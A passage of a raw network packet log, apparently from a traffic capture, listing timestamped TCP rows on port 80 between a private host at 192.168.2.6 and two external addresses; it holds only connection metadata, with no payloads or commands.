Jul 26, 2024 13:49:27.024063110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024072886 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024084091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024092913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024104118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024112940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024122953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024133921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024143934 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024153948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024163008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024173021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024183989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024193048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024205923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024450064 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024631977 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024638891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024650097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024660110 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024671078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024679899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024688959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024708033 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024740934 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024760962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024771929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024780989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024801016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024810076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024821043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024831057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024841070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024851084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024862051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024869919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024869919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024869919 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024872065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.024914026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.024914026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.025587082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025599003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025609970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025619984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025630951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025640965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025654078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025666952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025857925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025860071 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.025860071 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.025870085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025880098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025890112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025901079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025912046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025926113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.025960922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.025960922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.026182890 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.109788895 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109814882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109833002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109842062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109853983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109863997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109874010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.109884977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110084057 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.110084057 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.110090017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110104084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110115051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110125065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110136986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110147953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110361099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110373020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110383034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110394001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110409975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110420942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110430956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110440969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110451937 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110460043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110469103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110479116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110488892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110501051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110791922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.110791922 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.110872030 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110966921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110977888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110989094 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.110999107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111008883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111018896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111031055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111040115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111113071 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111124992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111135006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111145020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111155033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111166000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111176014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111186028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111196041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111207008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111217022 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111227036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111239910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111637115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.111637115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.111637115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.111839056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111850977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111860991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111871004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111881971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111978054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111989021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.111999035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112010002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112019062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112029076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112039089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112049103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112059116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112070084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112080097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112091064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112101078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112502098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.112502098 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.112587929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112598896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112610102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.112792969 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.136177063 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.136243105 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.137701988 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.146531105 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.410733938 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.411356926 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.439129114 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.444144011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.522258043 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.522609949 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.527518034 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.527654886 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.527815104 CEST	59052	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.527926922 CEST	80	59047	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.528367996 CEST	59047	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:27.534487009 CEST	80	59052	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:27.614767075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.614784002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.614795923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.614857912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.614869118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.614932060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615003109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615014076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615025043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615034103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615211964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615225077 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615236044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615246058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615326881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615417004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615428925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615437984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615447998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615458965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615468979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615772963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615784883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615796089 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615806103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615816116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615827084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.615838051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616111994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616125107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616133928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616144896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616156101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616166115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616177082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616461039 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616472006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616491079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616501093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616511106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616520882 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616533041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616543055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616553068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.616564035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617130041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617142916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617151976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617161989 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617172003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617182970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617192984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617202997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617213011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617223024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617233038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617243052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617254019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617264032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617276907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.617285967 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.618932962 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619052887 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619119883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619119883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619119883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619466066 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.619466066 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.841267109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841547012 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.841721058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841753006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841764927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841880083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841895103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841907024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841921091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841928959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.841948032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842019081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842026949 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842031002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842041016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842098951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842112064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842122078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842133045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842143059 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842155933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842160940 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842200994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842200994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842654943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842668056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842679024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842688084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842699051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842709064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842720985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842792988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842803955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842817068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842827082 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842839003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842849970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842859983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842870951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842904091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842915058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842926025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842927933 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.842936993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842947960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842957973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842968941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842979908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.842989922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843225002 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.843225002 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.843661070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843672037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843683004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843694925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843707085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843718052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843729019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843739986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843750000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843760014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843770981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843780994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843792915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843802929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843813896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843823910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843835115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.843847036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844116926 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844130993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844137907 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844521999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844541073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844552994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844563961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844574928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844584942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844595909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844605923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844615936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844626904 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844638109 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844649076 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844660044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844670057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844681025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844691038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844691992 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844691992 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844702005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844712019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844722033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844733000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.844762087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844762087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844762087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.844779015 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:27.845649004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845669985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845681906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845691919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845702887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845714092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845725060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845736027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:27.845747948 CEST	80	59020	85.28.47.31	192.168.2.6
